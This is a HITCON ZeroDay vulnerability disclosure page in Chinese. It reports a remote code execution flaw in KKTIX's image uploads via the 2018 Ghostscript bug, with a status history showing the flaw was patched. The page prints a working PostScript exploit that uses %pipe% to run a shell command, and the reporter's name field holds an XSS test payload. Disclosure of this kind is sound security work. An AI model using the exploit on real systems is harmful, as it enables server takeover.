KKTIX 可上傳 Ghostscript 圖片導致 Remote Code Execution - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-01186
  •  發信 Vendor: 華娛網路娛樂股份有限公司
  • Title: KKTIX 可上傳 Ghostscript 圖片導致 Remote Code Execution
  • Introduction: Remote Code Execution

處理狀態

目前狀態

公開
Last Update : 2024/03/14
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2018/08/22 20:10:58 : 新提交 (由 <svg/onload=alert(1)> 更新此狀態)
  • 2018/08/22 23:02:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/08/24 18:11:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/08/24 18:11:25 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/09/12 14:41:40 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/09/12 14:50:57 : 確認已修補 (由 <svg/onload=alert(1)> 更新此狀態)
  • 2018/09/16 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2024/03/14 22:21:32 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/03/14 22:22:51 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)

詳細資料

  • ZDID:ZD-2018-01186
  • 通報者:morrow (<svg/onload=alert(1)>)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

KKTIX 中所有「描述」欄位中可上傳圖片的地方

敘述

可參考 8/21 Ghostscript 被爆出的漏洞
http://openwall.com/lists/oss-security/2018/08/21/2

使用以下 EXP 即可直接遠端執行指令

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%sleep 10) currentdevice putdeviceprops

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;